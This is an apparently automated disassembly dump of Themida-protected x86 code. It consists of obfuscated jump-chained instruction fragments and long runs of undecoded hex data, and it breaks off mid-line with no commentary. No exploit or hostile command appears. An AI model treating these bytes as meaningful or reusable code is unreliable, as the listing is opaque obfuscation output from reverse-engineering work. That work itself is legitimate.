--------------------------------------------------------------------------- loc_56601E: ; CODE XREF: Themida_:00556FCCj sub esp, 4 mov [esp], edx push ecx mov ecx, 6204765Ch shl ecx, 3 jmp loc_557610 ; --------------------------------------------------------------------------- dw 9CBAh dd 0F721A60Dh, 0F28142D2h, 0D2D95C94h, 895AD329h, 90BBE9D9h db 2 dup(0FFh) word_56604A dw 31ADh ; DATA XREF: Themida_:00551228o dd 0E64EE9D8h, 348BFFFFh, 4B0CE924h db 2 dup(0FFh) word_56605A dw 8B66h ; DATA XREF: Themida_:005513E8o dd 6857240Ch, 22E5h, 83242489h, 8B042404h, 0C481243Ch dd 4, 4C781h, 0D1680000h, 89000012h, 0E2BE2434h, 8120D800h dd 7B0E7AF6h, 84B85069h, 40581A31h, 6F4DFC35h, 58C60923h dd 67C568h, 242C8900h, 0FF490EE9h db 0FFh byte_5660A9 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005513D4o dd 5B545324h, 0FEFA8DE9h, 0CAFE5CFFh, 0A5E95251h, 81FFFEB7h dd 276925C5h, 50525B02h, 686ADA68h, 40405851h, 0CAD9BB53h dd 89E904BAh, 56FFFF2Bh, 6DA1BE66h, 7EF68166h, 0F0296607h dd 0B62D665Eh, 0C8B661Ah, 20E96824h, 27E90000h, 0FFFF9Dh dd 0C82858C1h, 660E0459h, 36B75352h, 0EA800AB2h, 80FA0056h dd 2C5B56C2h, 4D02835h, 515A6635h, 0D604EEB5h, 0D62CE828h dd 0E92434FFh, 0FFFF5EC1h, 5551C801h, 96546BBDh, 0B50CB93Eh dd 70E9BDBDh db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56613F: ; CODE XREF: Themida_:0055F024j add ebx, 1 sub ebx, 5D220849h jmp loc_55B15D ; --------------------------------------------------------------------------- loc_566150: ; CODE XREF: Themida_:0055D66Ej sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi jmp loc_55F345 ; --------------------------------------------------------------------------- loc_566162: ; CODE XREF: Themida_:005597ADj mov [esp], ebp push esp pop ebp push edi push esi jmp loc_55FF23 ; --------------------------------------------------------------------------- loc_56616E: ; CODE XREF: Themida_:00557B27j mov edi, 2F4E0BE0h sub edi, 4707422Fh not edi jmp loc_55FF7C ; --------------------------------------------------------------------------- loc_566180: ; CODE XREF: Themida_:00551892j xchg ebx, [esp] not ebx xchg ebx, [esp] jmp loc_560B2A ; --------------------------------------------------------------------------- align 2 dw 4D8h dd 0E9072C36h, 0FFFF29D5h, 0E9240C8Bh, 0FFFF5C50h, 4C481h dd 2680000h, 89000031h, 2B82404h, 29000000h, 3C8758C7h dd 0EC815C24h, 2, 24248966h, 0FED871E9h db 0FFh ; --------------------------------------------------------------------------- loc_5661C9: ; CODE XREF: Themida_:0056559Bj sub eax, esi pop esi jmp loc_55CDBF ; --------------------------------------------------------------------------- byte_5661D1 db 0ADh, 0E9h, 0D8h ; DATA XREF: Themida_:005513E4o dd 5EFFFF39h, 5B243C87h, 4C26E381h, 0F381576Eh, 6B2A1C19h dd 519568h, 10E9E900h, 74FFFFFFh, 0E95B0424h, 0FFFF1BC6h dd 8B241433h, 148B2424h, 4EC8124h, 89000000h, 0E789243Ch dd 4C781h, 0EF810000h, 4, 5C243C87h, 83242C89h, 56E904ECh db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56622B: ; CODE XREF: Themida_:00558ACAj pop eax pop ebp push edx push esp pop edx jmp loc_55E0E4 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 2434FF04h, 0E2895258h, 0FF0BAEE9h db 0FFh ; --------------------------------------------------------------------------- loc_566245: ; CODE XREF: Themida_:0055700Cj push 10DDh mov [esp], ebx jmp loc_5628B6 ; --------------------------------------------------------------------------- dw 0C783h dd 243C8704h, 0B252665Ch, 66D30076h, 5BD8305Ah, 2CAD6866h dd 241C8966h, 881CB151h, 240C8BCFh, 5304C483h, 50664BB7h dd 0E904EC83h, 0FFFF5E42h ; --------------------------------------------------------------------------- loc_566284: ; CODE XREF: Themida_:00556610j xor ebp, [esp] pop esp shl eax, 8 shl eax, 2 push ebp push edi push 3D881481h pop edi jmp loc_560DDD ; --------------------------------------------------------------------------- db 8Bh dd 34FF2424h, 2434FF24h, 0FCE95058h, 0E9FFFF30h, 0FFFEB23Bh dd 0FE31F731h, 0D6F7F731h, 0FE31F731h, 0FF57F731h, 555F2404h dd 9257B850h, 0C589E5CAh, 0A5BA5258h, 87055F77h, 87D6F7F2h dd 2BF281F2h, 298326EBh, 0EF295AD7h, 0FEC0A0E9h, 0C3815BFFh dd 4, 6467BE56h, 0C68138C5h, 22FA458Bh, 5610C681h, 0F301A440h dd 0E924348Bh, 0FFFF7645h, 4D9CE681h, 0EE8137F4h, 0C481DA50h dd 815EF789h, 0FFFFFFC7h, 0D7E955FFh, 8FFFFFFAh, 895C2404h dd 74FF2414h, 0E7E90424h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566337: ; CODE XREF: Themida_:0055B243j add ebp, 411A63C1h add ecx, ebp pop ebp push eax push 4 pop eax sub ecx, 69D815C1h sub ecx, 707F6BA6h add ecx, 558D116Ah sub ecx, eax sub ecx, 558D116Ah add ecx, 707F6BA6h jmp loc_5664DF ; --------------------------------------------------------------------------- dd 4240483h, 0ACA9E959h, 85BFFFFFh, 0E94A555Ah, 0FFFFC633h ; --------------------------------------------------------------------------- loc_566380: ; CODE XREF: Themida_:00563EC7j add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 1F6Fh mov [esp], ebx mov ebx, esp add ebx, 4 push ebp mov ebp, esp add ebp, 4 jmp loc_55B6FD ; --------------------------------------------------------------------------- db 68h dd 37E8h, 68243489h, 5378h, 0B8240489h, 620B048Ch, 0DDF5E948h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5663C6: ; CODE XREF: Themida_:00553AC2j sub ecx, 1EBB73E1h add ecx, eax add ecx, 1EBB73E1h jmp loc_551669 ; --------------------------------------------------------------------------- db 1, 0C5h, 81h dd 0D36CFAC5h, 0F5A5E94Dh, 8F5CFFFEh, 11E92404h, 1FFFF24h dd 95E95DE9h, 8BFFFF5Dh, 0C4812414h, 4, 34FFC821h, 240C8B24h dd 3FA868h, 240C8900h, 0C181E189h, 4, 0D5B5E955h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56641E: ; CODE XREF: Themida_:00552F9Dj dec edx neg edx shl edx, 8 or edx, 3795437Dh jmp loc_553AC7 ; --------------------------------------------------------------------------- db 41h dd 0B0C3C181h, 68E9216Ah, 81FFFEE7h, 4C4h, 24048F00h, 6824248Bh dd 5811h, 0FEFD74E9h, 39F281FFh, 1007F5Bh, 24148BD6h, 0FF7ABEE9h db 0FFh ; --------------------------------------------------------------------------- loc_566461: ; CODE XREF: Themida_:0056199Cj sub esi, eax add esi, 70210869h pop eax jmp loc_5612A9 ; --------------------------------------------------------------------------- db 81h dd 933020EAh, 0E9F20147h, 0FFFEDED5h, 7B3040BBh, 0B419E914h dd 0EA81FFFFh, 4, 5C241487h, 0BF243C89h, 19CE2DD1h, 0FF2997E9h dd 4C483FFh, 0E9241433h, 0FFFF7404h, 0B82FE95Bh, 0EF01FFFEh dd 0FF0E4DE9h, 0C66858FFh, 89000028h, 8953242Ch, 4C381E3h dd 0E9000000h, 0FFFF6C17h, 8759CE01h, 76E92434h, 5EFFFF27h dd 8CE9DAF7h db 17h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5664DF: ; CODE XREF: Themida_:00566367j add ecx, 69D815C1h mov eax, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_551CCF ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0BF243C89h, 4BAD0FE4h, 0E908EFC1h, 0FFFEF132h, 42474FFh dd 0FED170E9h, 64E95AFFh, 33FFFED0h, 248B2404h, 241C8924h dd 8904EC83h, 1C8B2404h, 4C48324h, 0A6BD5558h, 81E39A05h dd 954AACC3h, 0A0FFE900h db 2 dup(0FFh) word_566542 dw 8B66h ; DATA XREF: Themida_:00551334o dd 0DA68240Ch, 8900006Eh, 0EC832434h, 48F5404h, 24048124h dd 4, 8124348Bh, 4C4h, 0B8505200h, 731A0930h, 0FF33ADE9h dd 24048BFFh, 4C481h, 2C330000h, 242C3124h, 0E9242C33h dd 0FFFF433Ch ; --------------------------------------------------------------------------- loc_566588: ; CODE XREF: Themida_:00554708j mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_55A103 ; --------------------------------------------------------------------------- db 66h dd 80DAF658h, 0D030F0EAh, 58C3005Ah, 6E68C300h, 0E9000078h dd 0FFFF2DBAh, 2C681h, 17E90000h, 81FFFF21h, 4ECh, 24148900h dd 0FF6F29E9h, 0C78158FFh, 44595EF2h, 0EF81EF01h, 44595EF2h dd 74FF575Dh, 34FF0424h, 0B888E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5665EE: ; CODE XREF: Themida_:0056209Dj xor eax, [esp] pop esp push 5704h mov [esp], esi mov esi, 55114A53h push ecx jmp loc_553A82 ; --------------------------------------------------------------------------- loc_566605: ; CODE XREF: Themida_:00564E18j xchg ebp, [esp] pop esp mov [esp], dx push ax pushf jmp loc_5514EB ; --------------------------------------------------------------------------- db 0FEh, 0CBh, 80h dd 0DD0028EBh, 80D5285Bh, 8B660AEDh, 0C4812414h, 2, 0FFCD47E9h dd 57E689FFh, 4BFh, 5FFE0100h, 0FECA82E9h, 8CB25FFh, 472D0691h dd 0E9ED9CBAh, 0FFFF0345h, 4C481h, 7EE90000h, 51FFFF1Ch dd 0FF0707E9h db 0FFh ; --------------------------------------------------------------------------- loc_566661: ; CODE XREF: Themida_:00551C27j shr ebx, 5 inc ebx jmp loc_5517B8 ; --------------------------------------------------------------------------- loc_56666A: ; CODE XREF: Themida_:0055524Aj push edx mov edx, 4 add esi, edx jmp loc_559D44 ; --------------------------------------------------------------------------- db 0B6h dd 8BF40082h, 74E92414h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_566683: ; CODE XREF: Themida_:0055E177j push ebx mov ebx, 159E21EFh inc ebx not ebx inc ebx shl ebx, 1 dec ebx add ebx, 6C95AE0Dh or edx, ebx jmp loc_554011 ; --------------------------------------------------------------------------- loc_56669D: ; CODE XREF: Themida_:0055F8FDj sub ecx, esi mov esi, [esp] add esp, 4 xchg ecx, [esp] pop esp mov [esp], ecx jmp loc_55164F ; --------------------------------------------------------------------------- db 54h, 5Bh, 81h dd 4C3h, 4C38100h, 53000000h, 42474FFh, 0C6DDE95Bh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5666CA: ; CODE XREF: Themida_:00562606j pop ecx xor ebx, 0A8804041h add ecx, ebx pop ebx and eax, ecx mov ecx, [esp] push esi mov esi, esp add esi, 4 push edi mov edi, 4 add esi, edi jmp loc_55D7F9 ; --------------------------------------------------------------------------- byte_5666EF db 0ADh ; DATA XREF: Themida_:00551340o dd offset loc_561E64+4 dd 1D77E900h, 0C481FFFFh, 4, 0E9241C33h, 0FFFF786Bh, 4EC81h dd 1C890000h, 0E193E924h, 0EB01FFFEh, 0B02AE956h db 2 dup(0FFh) word_56671E dw 28Fh ; DATA XREF: Themida_:00551388o dd 0FEADC6E9h db 0FFh ; --------------------------------------------------------------------------- loc_566725: ; CODE XREF: Themida_:0055842Bj mov [esp], ecx mov ecx, 327401C6h not ecx push 785Bh mov [esp], ebp jmp loc_5609B8 ; --------------------------------------------------------------------------- loc_56673C: ; CODE XREF: Themida_:0055FF62j push ecx mov ecx, 514B4FE2h push ebp mov ebp, 5048070Dh mov ebx, 65384119h add ebx, ebp pop ebp sub ebx, ecx mov ecx, [esp] add esp, 4 xor ecx, ebx jmp loc_55EA83 ; --------------------------------------------------------------------------- db 89h dd 4B951E6h, 1000000h, 0C68159CEh, 2, 8B243487h, 0C8282424h dd 8B667404h, 0C481240Ch, 2, 86B6E950h, 8166FFFFh, 661FB8C6h dd 348BF001h, 4C48324h, 0E9C82966h, 0FFFFF93Bh, 4C481h dd 8B5B0000h, 0C481243Ch, 4, 0E959C829h, 0FFFF81A1h ; --------------------------------------------------------------------------- loc_5667B8: ; CODE XREF: Themida_:00561A00j not edx xchg edx, ebx not ebx or ebx, 7332237Ah neg ebx shr ebx, 2 add ebx, 0F131DBBCh jmp loc_55FE6C ; --------------------------------------------------------------------------- dd 0B9240C89h, 54E201B7h, 2414F751h, 0FF7F47E9h db 0FFh ; --------------------------------------------------------------------------- loc_5667E5: ; CODE XREF: Themida_:005524B2j add esp, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ebx jmp loc_5550A4 ; --------------------------------------------------------------------------- loc_5667F6: ; CODE XREF: Themida_:0055F34Aj push ecx mov ecx, 4F5C1D3Eh jmp loc_55A709 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 0FF0311E9h, 4EC83FFh, 0E9241C89h, 0FFFFDE86h, 0B3E2E95Ah db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56681A: ; CODE XREF: Themida_:0055A65Dj push 5D09h mov [esp], ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_5669AA ; --------------------------------------------------------------------------- db 43h dd 7BAAEB81h, 0DBF73CE6h, 0FEDB85E9h, 665E66FFh, 148BD089h dd 4C48124h, 66000000h, 0E907E8C1h, 0FFFF6CD7h ; --------------------------------------------------------------------------- loc_566860: ; CODE XREF: Themida_:005522B6j xor eax, 138313C4h jmp loc_56029A ; --------------------------------------------------------------------------- word_56686A dw 52ADh ; DATA XREF: Themida_:005512DCo dd 624F77BAh, 0EA814A76h, 5C9421A5h, 0FEBC3AE9h db 0FFh ; --------------------------------------------------------------------------- loc_56687D: ; CODE XREF: Themida_:0056480Bj mov esp, [esp] add [esp], eax pushf jmp loc_5514EB ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FFBD1DE9h, 0ABD66FFh, 0E92966CFh, 0FF2EB9E9h db 0FFh ; --------------------------------------------------------------------------- loc_56689D: ; CODE XREF: Themida_:0055EC5Aj pop edi sub edx, eax add edx, 533970C5h jmp loc_564272 ; --------------------------------------------------------------------------- db 54h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 2B402784h add edx, 78D123A2h add edx, 1DF27DF6h xchg esi, edx neg esi xchg esi, edx jmp loc_55533C ; --------------------------------------------------------------------------- db 8Bh dd 28E92414h, 0C1FFFFE4h, 0B85004E9h, 40D571B9h, 0D2CA835h dd 58C10146h, 0F4E9C829h db 16h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5668EF: ; CODE XREF: Themida_:00553407j shr ebp, 4 jmp loc_562DAC ; --------------------------------------------------------------------------- db 83h dd 0C48004C4h, 24148B9Dh, 4C481h, 88520000h, 5AD388E2h dd 68CBFE58h, 55B0h, 0B6241489h, 46C680B9h, 0D6E9F300h dd 5EFFFED2h, 5C243C87h, 24048B66h, 4EC81h, 4890000h, 0E225E924h dd 2BB6FFFEh, 6602EC83h, 30241489h, 0E9012464h, 0FFFEE3A1h dd 5C241C33h, 0FEEA05E9h, 6EAC1FFh, 0D104EAC1h, 0FCEA81EAh dd 5193F1ADh, 160E9h, 0CD814D00h, 7D584222h, 0FF701AE9h dd 243489FFh, 4BEh, 5EF00100h, 679DBB53h, 0C38174F5h, 8B0A9867h dd 0E95BD801h, 0FFFFDEF5h, 894EA81h, 0D0015FE6h, 52D8295Ah dd 7E4250BAh, 0DC9EE914h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5669AA: ; CODE XREF: Themida_:00566836j push 7556h mov [esp], eax push esp pop eax push 5878h jmp loc_55612D ; --------------------------------------------------------------------------- loc_5669BE: ; CODE XREF: Themida_:00553F83j add [esp+4], edi mov edi, [esp] push edi push esp jmp loc_55746B ; --------------------------------------------------------------------------- dd 4C481h, 0FF510000h, 0E9042474h, 0FFFFD343h, 9C240431h dd 0FEAB06E9h db 0FFh ; --------------------------------------------------------------------------- loc_5669E5: ; CODE XREF: Themida_:0055A393j and ebp, edi pop edi push edx mov edx, 6C4C15A7h xor edx, 4EF66F0Fh add edx, 419852C2h shr edx, 8 add edx, 0FC96A112h jmp loc_556389 ; --------------------------------------------------------------------------- dd 81240401h, 3929242Ch, 48135F2h, 4419A224h, 9C0FE925h dd 34FFFFFFh, 2434FF24h, 8324348Bh, 895604C4h, 0AA46E9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566A32: ; CODE XREF: Themida_:00565CCFj xor edx, 0E2F2DDADh or edi, edx pop edx push 4B00h mov [esp], ebx mov ebx, 5F562B1Dh and edi, ebx push dword ptr [esp] jmp loc_55854D ; --------------------------------------------------------------------------- dw 0C483h dd 82F28104h, 29B65128h, 84ACE9D0h, 0E940FFFFh, 0FFFEF2CEh dd 0F6240CFEh, 59662414h, 0FF5535E9h, 4EE381FFh, 81439153h dd 6E0AE6C3h, 5BDA2929h, 7768EA29h, 89000041h, 5DBF243Ch dd 0C113A309h, 534F06E7h, 2C37CCBBh, 5BDF212Eh, 45E0C781h dd 0FA01026Fh, 89565D5Fh, 0EDABE9E6h, 835EFFFEh, 48F04C4h dd 13DEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566ABE: ; CODE XREF: Themida_:0055D9B9j pop esp push 59Fh jmp loc_564D85 ; --------------------------------------------------------------------------- db 0B9h, 0A5h, 42h dd 0E9C1140Fh, 0B8BB5308h, 29C2099Bh, 0F429E9D9h, 0F000FFFFh dd 8124148Bh, 4C4h, 0CC5EE900h, 0CF01FFFFh, 4C78159h, 0E9000000h dd 0FFFECC47h, 1B79CD81h, 0B8504544h, 22F7FCDDh, 20F8C581h dd 0C52948A3h, 20F8ED81h, 14E948A3h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566B1B: ; CODE XREF: Themida_:005548DEj mov esi, 20CD5ECBh jmp loc_55EAD3 ; --------------------------------------------------------------------------- db 81h, 0EBh, 0CAh dd 811E1B21h, 0EBD74CC3h, 0D9F5E98Fh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566B36: ; CODE XREF: Themida_:00554F89j mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_551E35 ; --------------------------------------------------------------------------- loc_566B49: ; CODE XREF: Themida_:005600F6j sub ebp, ecx pop ecx pop eax push ebx push 4 jmp loc_55C2EA ; --------------------------------------------------------------------------- dd 0D3BE565Fh, 0E9358F6Bh, 0FFFFA922h, 52D4C581h, 4BE93547h db 67h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566B6F: ; CODE XREF: Themida_:005644DDj mov [esp], eax mov eax, esp push edi jmp loc_55396F ; --------------------------------------------------------------------------- dw 0C181h dd 4, 2BA52h, 0D1010000h, 0FFFC87E9h, 66D300FFh, 70EB805Ah dd 0E904EC83h, 0FFFEE69Ah, 1E46EF81h, 0EF816EF9h, 307E768Bh dd 0C781D729h, 307E768Bh, 0A98B951h, 0C1816AFEh, 7B65B74h dd 0E1C1E1D1h, 81D1F706h, 35E7B9F1h, 0E681E9CBh, 0EE29FFFEh dd 91E9555Dh, 0BEFFFEEDh, 20F60431h, 0FEF127E9h, 8BD301FFh dd 0C4832414h, 4EB8104h, 33000000h, 1C31241Ch, 241C3324h dd 0FF30DEE9h, 59E959FFh, 0FFFFFF68h, 2C8B2434h, 4C48124h dd 81000000h, 4ECh, 0F0C4E900h, 0CCE9FFFFh db 0A8h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566C1F: ; CODE XREF: Themida_:0055490Dj shl ebp, 6 shl ebp, 7 sub ebp, 2AED19DBh add ebp, 112615B9h sub ebp, 5287BBDAh add ebx, ebp pop ebp jmp loc_55CCBB ; --------------------------------------------------------------------------- db 8Bh dd 0C483240Ch, 4BF5704h, 57000000h, 0FEB6D3E9h, 5FFD31FFh dd 1BE95750h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566C5B: ; CODE XREF: Themida_:0055A285j not dword ptr [esp] pop esi xor esi, 418F2053h add esi, 692C0C22h jmp loc_556D97 ; --------------------------------------------------------------------------- loc_566C70: ; CODE XREF: Themida_:0055D9A4j push ebx mov bl, 0BEh mov dl, bl pop ebx jmp loc_563A33 ; --------------------------------------------------------------------------- db 0C1h dd 0F38106E3h, 3C2CE086h, 0FEFFE0E9h, 55C181FFh, 0E9FE1408h dd 0FFFF04CDh, 4C48158h, 0E9000000h, 0FFFF4945h, 8923E952h dd 34FFFFFFh, 0CA685D24h, 89000046h, 0FF542404h, 81582434h dd 4C4h, 40500h, 0A7E90000h db 0F4h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566CC7: ; CODE XREF: Themida_:0056146Cj xor edi, edx xor edx, edi xor edi, ebx xor ebx, edi xor edi, ebx push 7E3Dh jmp loc_560376 ; --------------------------------------------------------------------------- db 1 dd 23C681DEh, 0E966FB39h, 0FFFF4C0Eh, 0E9241C89h, 0FFFFAF63h dd 126EBE56h, 74016FDAh, 0F8E90824h, 5FFFFF91h, 8B241C87h dd 0ABE92424h, 5AFFFF12h, 81E38953h, 4C3h, 40FAE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566D1A: ; CODE XREF: Themida_:00558417j mov ecx, [esp] add esp, 4 pop esi jmp loc_554EDD ; --------------------------------------------------------------------------- db 80h, 0CAh, 0A6h dd 6AE9D2F6h, 81FFFF69h, 8574D5E6h, 0C6EE816Ch, 8927FF99h dd 24348BF1h, 4C481h, 89560000h, 5E5A56CEh, 81240C8Bh dd 4C4h, 87F28700h, 87D7F7FEh, 31F231FEh, 81F231D6h, 0FA852DEAh dd 0E9D701E3h, 0FFFECCA1h, 50E18851h, 0FF086BE9h db 0FFh ; --------------------------------------------------------------------------- loc_566D7D: ; CODE XREF: Themida_:00555E1Cj mov ebx, 3D287768h mov edi, ebx mov ebx, [esp] add esp, 4 jmp loc_55CEE8 ; --------------------------------------------------------------------------- dw 54E9h dd 1FFFEA7h, 1F64E9CAh, 0F120FFFFh, 5EE9805Ah, 0BDE95166h dd 8BFFFFFCh, 0E3E92414h db 0D3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566DB3: ; CODE XREF: Themida_:0056068Dj add edi, ebp push ebp mov ebp, 47E82D70h sub edi, ebp jmp loc_55BD58 ; --------------------------------------------------------------------------- dw 0A2BFh dd 816DDA0Bh, 41FEA8C7h, 0CF9EE99Ch, 0C281FFFFh, 63FB4EB4h dd 0EA81EA01h, 63FB4EB4h, 0D70C281h, 575D3955h, 0CD7B95BFh dd 247C2905h, 54015F08h, 5FE90424h, 0E8FFFEEBh, 0Ch, 92C664AEh dd 1F1D8AE0h, 9CA73AADh, 5ADEBF0Fh, 58A0Fh, 0F570000h dd 8159C7B7h, 702AC2h, 3369B400h, 0D88166FFh, 348B464Ah dd 12E8603Ah, 0DA000000h, 0C2891519h, 147C886h, 0B64227B7h dd 4C9B76FEh, 810F7Ah, 58000000h, 40C68161h, 8B405C92h dd 0C7C681C2h, 0E875DC3Eh, 12h, 0BBDFB591h, 6FB2AA33h dd 5673206Bh, 6D142ACAh, 0EF8ABC38h, 37EE8159h, 80443719h dd 0B4566BD1h, 3A048F46h, 2820Fh, 59530000h, 7E94BB66h dd 0F04EF83h, 0FF81DBBFh, 0FFFF90B0h, 20850Fh, 890F0000h dd 2, 2FE9C88Bh, 0DB000000h, 39D7B8ECh, 7147783Dh, 86E19FEAh dd 0A5F8092Dh, 0B9B847CAh, 0E971CCFAh, 0FFFFFF5Eh, 0F64A5071h dd 0BE71531Dh, 0B9959EA0h, 0CAD1719Ch, 36EB16CBh, 52455355h dd 642E3233h, 41006C6Ch, 50415644h, 2E323349h, 6C6C64h dd 4C44544Eh, 6C642E4Ch, 7D7006Ch, 40007h, 12001Ah, 2D0001h dd 0DAD90231h, 1E91CB4h, 68000008h, 64AA27Eh, 0FDDBA6E9h dd 0A2FF68FFh, 9CE9064Ah, 68FFFDDBh, 64AA3F8h, 0FDDB92E9h dd 0A52568FFh, 88E9064Ah, 68FFFDDBh, 64AA595h, 0FDDB7EE9h dd 0A69C68FFh, 74E9064Ah, 68FFFDDBh, 64AA703h, 0FDDB6AE9h dd 91DD8FFFh, 93DFF6A7h, 94E0F8A9h, 97E3FB9Ch, 97E3FC9Dh dd 9318BE9Dh, 97C870BCh, 9DBE76C2h, 0A1C27AC6h, 0BFD37DC9h dd 54DFCF9Bh, 764D5611h, 32C44F2Ch, 824EFA12h, 498E95B5h dd 0BBD92807h, 9C64D5F0h, 570BEB4Dh, 40E9400Bh, 0DA334824h dd 16F92920h, 2C25162Ah, 0CA2294E0h, 6F0F29A0h, 5D726DDBh dd 99759C72h, 556BCDA4h, 8027E3E7h, 0BA552369h, 69B5AD8Eh dd 0CC82B3EFh, 0B1A9B680h, 6BF3C565h, 9DC61328h, 67EB8h dd 5510300h, 7530A4Bh, 8540C4Dh, 0B570F50h, 0B571051h dd 870CD251h, 8BCC84D0h, 91D28AD6h, 0F5A68EDAh, 33A791DDh dd 5573E3E7h, 22C15611h, 1D698120h, 5F4F1B3Fh, 74FC6B3h dd 0C6B35343h, 0E83EE14Fh, 0F21B677Fh, 0EA5A1F28h, 915A76D2h dd 0DB498C13h, 362F0834h, 2E0861EAh, 24E0536h, 0C587566h dd 2CD52E13h, 3A3C2AA0h, 3D5EF23Ch, 2E51DA26h, 4022F03Ch dd 61CAF0BFh, 5FD2716h, 0D2820000h, 0D08DCE86h, 0D58BCC84h dd 0D88ECF89h, 0DCF3A48Ch, 11B9A890h, 0CD87D38Ch, 0CF89D58Ch dd 0A791DD8Eh, 0A098E4F6h, 6ADCF03Ch, 0CA561155h, 6981272Bh dd 5D75221Dh, 0F20E1611h, 0E2C00EC9h, 0C2F5E025h, 64130CF5h dd 54071E6Ah, 73E5317Dh, 0A1851A90h, 3EFE54F1h, 98000000h dd 331D6981h, 0B31C9649h, 8D454FC6h, 0F1186477h, 329C2A53h dd 0D571D59Ah, 1E1E1539h, 0D3965A06h, 1498FBEh, 51E421Eh dd 60C7A8C9h, 89D66077h, 8DCE86D2h, 5CC18AD6h, 567h, 1D6981F2h dd 0F541163Fh, 0EB4D2419h, 0CC6367D5h, 34498E92h, 46014D03h dd 2ED157E3h, 2F7D5506h, 4B214223h, 7AE24B6Ah, 6520D2Eh dd 5333052Ch, 6CD8317Dh, 0D4FCA660h, 7A71D64Fh, 5069D72Eh dd 0C8F14F9Bh, 7AEC0011h, 0BA4FC8FBh, 0EC64AE57h, 0B36CB8ABh dd 0B482CE84h, 0CCB8EEC8h, 4BB9AC5h, 89000005h, 8CCD87D3h dd 8ACB85D1h, 91D28AD6h, 8ECF89D5h, 0B4A38DD9h, 82CE890Eh dd 84D089DAh, 8CD88BCCh, 93DFF3A4h, 0E5E935A9h, 56115671h dd 811E20C3h, 392A1B69h, 0CD158965h, 0F8174FC6h, 362F360Fh dd 0D750460Ah, 3DE44FC6h, 885F78E4h, 0D7037377h, 0CE314FC6h dd 3562DB37h, 0CE56D11Dh, 0BF0D6DA8h, 0EC4FC6D7h, 0F13A364Ah dd 0FEF74F54h, 86E7FFFFh, 0B43F495Ah, 2357233Dh, 0C7AF6155h dd 0E22CD34Fh, 16115D75h, 7DEB0143h, 8F9AE671h, 3FF91849h dd 0B213223h, 26210854h, 40F743h, 0C3707CE8h, 0F94FD77Bh dd 0C7F0D16h, 5D4FC77Ch, 9B289E75h, 0E854F1DAh, 163h, 7D55867Eh dd 0CB46E531h, 55F3093Bh, 8E95AE79h, 0E0210049h, 0D2C488B4h dd 62560EDAh, 0ACF773BFh, 3C9C64D5h, 3337481Bh, 2F58EE43h dd 2CF70EF1h, 46F639D5h, 253E122Eh, 72920DAh, 0EA5A1F28h dd 985A76D2h, 0D42368A1h, 7B546A63h, 112FD62Fh, 7AE63228h dd 1A4E1C29h, 76D2B1D2h, 5953E45Ah, 4DE9482Fh, 36825809h dd 280722D8h, 69CC9713h, 3D7h, 143C885Ch, 163E8A43h, 153F8B45h dd 163E8A44h, 163E8A45h, 253ABF07h, 2B3E5FD9h, 2F2475DFh dd 322879E3h, 466A6EE6h, 1158342Ah, 0D1DDF856h, 7A811D86h dd 0C03CC07Fh, 6B81C376h, 2A02F1FDh, 0D53C498Ch, 8D2A5367h dd 2BF58BFCh, 0DA2A1C30h, 270A5610h, 302334FEh, 382B6CE4h dd 3DE43022h, 317D5502h, 0F08127E1h, 44B982CAh, 367h, 84ACF8ECh dd 86AEFAD3h, 85AFFBD5h, 86AEFAD4h, 86AEFAD5h, 0B5AA2F97h dd 0BBAEEF69h, 0BF94C56Fh, 0C298C973h, 96DABE76h, 1158C4BAh dd 418D6856h, 221D6981h, 16115D75h, 0FC9F20Eh, 22E177C3h dd 0C6B3F2C2h, 3A1B494Fh, 0F54CD723h, 16A93B19h, 281154F1h dd 366E12Dh, 0A8158965h, 0F8174FC6h, 0FD63111Eh, 81A5FFFFh dd 4F221D69h, 0A721D5EDh, 0FA4EFA1Fh, 0A193513h, 0E4498EB4h dd 4F29133Dh, 0EF0739B9h, 0E36A036Ch, 1E4AE323h, 3AD4203Dh dd 0C5014E22h, 4C6D498Eh, 43174894h, 60051BF7h, 1C053E8Ah dd 0EFC8F405h, 0A62ACF8h, 0EE19CAAAh, 9CE8FBDCh, 879D9F92h dd 1A7E15D9h, 0D1EAF7EEh, 0EE53CC18h, 2823FE24h, 6BD9EF51h dd 0EF5F6B4Fh, 3DF7DE09h, 0DE1C58E2h, 48F1A5E1h, 0E32F7B6Fh dd 5A86E23Dh, 3D380249h, 25CE3D31h, 0F710EFFEh, 5110811h dd 0FE368258h, 